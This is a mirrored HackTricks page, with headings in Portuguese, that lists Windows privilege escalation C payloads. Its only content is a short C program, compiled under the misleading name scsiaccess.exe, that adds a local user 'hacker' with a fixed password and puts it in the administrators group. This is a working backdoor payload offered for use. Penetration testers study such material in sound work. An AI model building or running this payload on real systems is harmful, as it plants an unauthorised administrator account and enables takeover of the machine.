2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-28 14:03:42 +00:00
hacktricks/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
2023-06-06 18:56:34 +00:00

3.5 KiB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Adicionar usuário

#i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */  
int main ()  
{  
    int i;
    system("net user hacker Hacker123! /add");
    system("net localgroup administrators hacker /add");  
    return 0;  
}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥